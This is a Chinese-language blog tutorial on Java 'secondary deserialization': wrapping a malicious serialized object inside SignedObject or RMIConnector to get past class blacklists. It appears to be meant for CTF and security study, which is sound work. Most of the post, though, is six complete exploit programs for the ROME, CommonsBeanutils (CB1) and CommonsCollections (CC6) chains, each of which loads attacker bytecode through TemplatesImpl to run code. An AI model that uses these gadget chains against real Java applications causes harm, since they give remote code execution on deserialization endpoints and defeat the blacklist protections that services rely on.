Java二次反序列化浅析

前言

题目hook resolveClass存在入口类黑名单,就可以用二次反序列化绕过,例如巅峰极客的babyurl。
本质是,A类的a方法,内部可以实现反序列化,并且要反序列化的对象我们可控;在B入口类被禁用的情况下,
通过把要反序列化的恶意对象b放入A类,用没被禁用的入口类C的readObject,去调用A类的a方法,进而调到B类的readObject,实现绕过黑名单。

原理分析

SignedObject

SignedObject#getObject会把this.content里的内容反序列化。

image.png

而this.content在构造函数里可以控制,传入对象会自动序列化,然后写入this.content

image.png

把待反序列化对象传入构造函数,将问题转换成反序列化链调用SignedObject#getObjetct。

1
2
3
4
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(待反序列化对象, kp.getPrivate(), Signature.getInstance("DSA"));

RMIConnector

RMIConnector#findRMIServerJRMP会把传入的base64参数反序列化
image.png
RMIConnector#findRMIServer,如果path以”/stub/“开头,就会调用findRMIServerJRMP
image.png
RMIConnector#connect,会调用findRMIServer,注意rmiServer要为null
image.png
把待反序列化对象Base64编码拼接到URL后面,将问题转换成调RMIConnector#connect。

1
2
3
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");  // 固定写法,不然创建不了
setFieldValue(jmxServiceURL, "urlPath", "/stub/待反序列化对象");
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);

Exp

触发SignedObject#getObject

  • ROME链
    • HashMap入口类
    • HashTable入口类
    • badAttributeValueExpException入口类
    • HashMap+HotSwappableTargetSource类
  • CB1链
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    package SignedObject;

    import Utils.ReflectUtils;
    import Utils.SerialUtils;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.syndication.feed.impl.EqualsBean;
    import com.sun.syndication.feed.impl.ToStringBean;

    import javax.xml.transform.Templates;
    import java.nio.file.Files;
    import java.nio.file.Paths;
    import java.security.KeyPair;
    import java.security.KeyPairGenerator;
    import java.security.Signature;
    import java.security.SignedObject;
    import java.util.HashMap;

    public class ROMEHashMap {
    public static void main(String[] args) throws Exception {

    HashMap<Object,Object> evilObject = (HashMap<Object, Object>) getEvilObject();

    KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
    kpg.initialize(1024);
    KeyPair kp = kpg.generateKeyPair();
    SignedObject signedObject = new SignedObject(evilObject, kp.getPrivate(), Signature.getInstance("DSA"));

    ToStringBean toStringBean = new ToStringBean(SignedObject.class,signedObject);
    EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

    HashMap<Object,Object> hashMap = new HashMap<>();
    hashMap.put(equalsBean, "123");
    // SerialUtils.serialize(hashMap);
    SerialUtils.unserialize();
    }


    // here can be CC object or others need to deserialize.
    public static Object getEvilObject()throws Exception {
    TemplatesImpl templatesimpl = new TemplatesImpl();
    byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\Calc.class"));
    ReflectUtils.setFieldValue(templatesimpl,"_name","Jasper");
    ReflectUtils.setFieldValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});

    ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
    EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

    HashMap<Object,Object> hashMap = new HashMap<>();
    hashMap.put(equalsBean, "123");
    return hashMap;
    }

    }
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    package SignedObject;

    import Utils.ReflectUtils;
    import Utils.SerialUtils;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.syndication.feed.impl.EqualsBean;
    import com.sun.syndication.feed.impl.ObjectBean;
    import com.sun.syndication.feed.impl.ToStringBean;

    import javax.xml.transform.Templates;
    import java.nio.file.Files;
    import java.nio.file.Paths;
    import java.security.KeyPair;
    import java.security.KeyPairGenerator;
    import java.security.Signature;
    import java.security.SignedObject;
    import java.util.HashMap;
    import java.util.Hashtable;

    public class ROMEHashTable {
    public static void main(String[] args) throws Exception {

    HashMap<Object,Object> evilObject = (HashMap<Object, Object>) getEvilObject();

    KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
    kpg.initialize(1024);
    KeyPair kp = kpg.generateKeyPair();
    SignedObject signedObject = new SignedObject(evilObject, kp.getPrivate(), Signature.getInstance("DSA"));

    ToStringBean toStringBean = new ToStringBean(SignedObject.class,signedObject);
    ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);

    Hashtable hashtable = new Hashtable();
    hashtable.put(objectBean,"456");

    SerialUtils.serialize(hashtable);
    // SerialUtils.unserialize();
    }

    // here can be CC object or others need to deserialize.
    public static Object getEvilObject()throws Exception {
    TemplatesImpl templatesimpl = new TemplatesImpl();
    byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\Calc.class"));
    ReflectUtils.setFieldValue(templatesimpl,"_name","Jasper");
    ReflectUtils.setFieldValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});

    ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
    EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

    HashMap<Object,Object> hashMap = new HashMap<>();
    hashMap.put(equalsBean, "123");
    return hashMap;
    }

    }
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    package SignedObject;

    import Utils.ReflectUtils;
    import Utils.SerialUtils;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.syndication.feed.impl.EqualsBean;
    import com.sun.syndication.feed.impl.ToStringBean;

    import javax.management.BadAttributeValueExpException;
    import javax.xml.transform.Templates;
    import java.nio.file.Files;
    import java.nio.file.Paths;
    import java.security.KeyPair;
    import java.security.KeyPairGenerator;
    import java.security.Signature;
    import java.security.SignedObject;
    import java.util.HashMap;

    public class ROMEBadAttributeValueExpException {
    public static void main(String[] args) throws Exception {

    HashMap<Object,Object> evilObject = (HashMap<Object, Object>) getEvilObject();
    KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
    kpg.initialize(1024);
    KeyPair kp = kpg.generateKeyPair();
    SignedObject signedObject = new SignedObject(evilObject, kp.getPrivate(), Signature.getInstance("DSA"));

    ToStringBean toStringBean = new ToStringBean(SignedObject.class,signedObject);

    BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
    ReflectUtils.setFieldValue(badAttributeValueExpException,"val",toStringBean);

    SerialUtils.serialize(badAttributeValueExpException);
    SerialUtils.unserialize();
    }
    // here can be CC object or others need to deserialize.
    public static Object getEvilObject()throws Exception {
    TemplatesImpl templatesimpl = new TemplatesImpl();
    byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\Calc.class"));
    ReflectUtils.setFieldValue(templatesimpl,"_name","Jasper");
    ReflectUtils.setFieldValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});

    ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
    EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

    HashMap<Object,Object> hashMap = new HashMap<>();
    hashMap.put(equalsBean, "123");
    return hashMap;
    }
    }
    这个ROME链,需要SpringBoot依赖。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    package SignedObject;

    import Utils.ReflectUtils;
    import Utils.SerialUtils;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import com.sun.org.apache.xpath.internal.objects.XString;
    import com.sun.syndication.feed.impl.EqualsBean;
    import com.sun.syndication.feed.impl.ToStringBean;
    import org.springframework.aop.target.HotSwappableTargetSource;

    import javax.xml.transform.Templates;
    import java.nio.file.Files;
    import java.nio.file.Paths;
    import java.security.KeyPair;
    import java.security.KeyPairGenerator;
    import java.security.Signature;
    import java.security.SignedObject;
    import java.util.HashMap;

    public class ROMEHotSwappableTargetSource {
    public static void main(String[] args) throws Exception {

    HashMap<Object,Object> evilObject = (HashMap<Object, Object>) getEvilObject();

    KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
    kpg.initialize(1024);
    KeyPair kp = kpg.generateKeyPair();
    SignedObject signedObject = new SignedObject(evilObject, kp.getPrivate(), Signature.getInstance("DSA"));

    ToStringBean toStringBean = new ToStringBean(SignedObject.class,signedObject);

    HotSwappableTargetSource h1 = new HotSwappableTargetSource(toStringBean);
    HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("jasper"));

    HashMap<Object,Object> hashMap = new HashMap<>();
    hashMap.put(h1,h1);
    hashMap.put(h2,h2);

    SerialUtils.serialize(hashMap);
    SerialUtils.unserialize();
    }
    // here can be CC object or others need to deserialize.
    public static Object getEvilObject()throws Exception {
    TemplatesImpl templatesimpl = new TemplatesImpl();
    byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\Calc.class"));
    ReflectUtils.setFieldValue(templatesimpl,"_name","Jasper");
    ReflectUtils.setFieldValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});

    ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
    EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

    HashMap<Object,Object> hashMap = new HashMap<>();
    hashMap.put(equalsBean, "123");
    return hashMap;
    }

    }
    下面需要有CB依赖(1.9.4),本质是利用CB链调用任意getter,进而调用SignedObject#getObject
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    package SignedObject;
    import Utils.ReflectUtils;
    import Utils.SerialUtils;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.syndication.feed.impl.EqualsBean;
    import com.sun.syndication.feed.impl.ToStringBean;
    import org.apache.commons.beanutils.BeanComparator;

    import javax.xml.transform.Templates;
    import java.nio.file.Files;
    import java.nio.file.Paths;
    import java.security.KeyPair;
    import java.security.KeyPairGenerator;
    import java.security.Signature;
    import java.security.SignedObject;
    import java.util.HashMap;
    import java.util.PriorityQueue;


    public class CB1 {
    public static void main(String[] args) throws Exception{
    HashMap<Object,Object> evilObject = (HashMap<Object, Object>) getEvilObject();

    KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
    kpg.initialize(1024);
    KeyPair kp = kpg.generateKeyPair();
    SignedObject signedObject = new SignedObject(evilObject, kp.getPrivate(), Signature.getInstance("DSA"));

    BeanComparator beanComparator = new BeanComparator();

    //add会提前触发链条,这里选择先提前add,再统一传参
    PriorityQueue priorityQueue = new PriorityQueue(beanComparator);
    priorityQueue.add(1);
    priorityQueue.add(2);

    //统一传参,防止链条被破坏
    ReflectUtils.setFieldValue(priorityQueue,"queue",new SignedObject[]{signedObject,signedObject});
    ReflectUtils.setFieldValue(beanComparator,"property","object");
    //
    SerialUtils.serialize(priorityQueue);
    SerialUtils.unserialize();

    }
    // here can be CC object or others need to deserialize.
    public static Object getEvilObject()throws Exception {
    TemplatesImpl templatesimpl = new TemplatesImpl();
    byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\Calc.class"));
    ReflectUtils.setFieldValue(templatesimpl,"_name","Jasper");
    ReflectUtils.setFieldValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});

    ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
    EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

    HashMap<Object,Object> hashMap = new HashMap<>();
    hashMap.put(equalsBean, "123");
    return hashMap;
    }
    }

CC链触发RMIConnector

利用CC链命令执行的功能,去执行RMIConnector#connect方法,下面以CC6为例。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package RMIConnector;
import Utils.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import javax.xml.transform.Templates;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

import static Utils.ReflectUtils.setFieldValue;


public class CC6 {
public static void main(String[] args) throws Exception{
// get b64string of evil object
HashMap<Object,Object> evilObject = (HashMap<Object, Object>) getEvilObject();
String evilB64 = SerialUtils.serializeB64(evilObject);
// put evil object into rmiConnector
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/stub/"+evilB64);
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
// trigger rmiConnector#connect
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(rmiConnector),
new InvokerTransformer("connect",null,null),
};
Transformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("key1","value1");
//断开链子,防止put消耗链条
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key2");
HashMap<Object,Object> hashMap1 = new HashMap<>();
hashMap1.put(tiedMapEntry,"Jasper");
//把链子改回来
setFieldValue(lazyMap,"factory",chainedTransformer);
//绕过懒加载,调用Transform
lazyMap.remove("key2");
// SerialUtils.serialize(hashMap1);
SerialUtils.unserialize();
}
// here can be CC object or others need to deserialize.
public static Object getEvilObject()throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\Calc.class"));
ReflectUtils.setFieldValue(templatesimpl,"_name","Jasper");
ReflectUtils.setFieldValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});

ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean, "123");
return hashMap;
}
}

小结

二次反序列化,本质就是利用其他类,给我们要反序列化的对象套一层壳子。

参考链接

Java二次反序列化初探@Bmth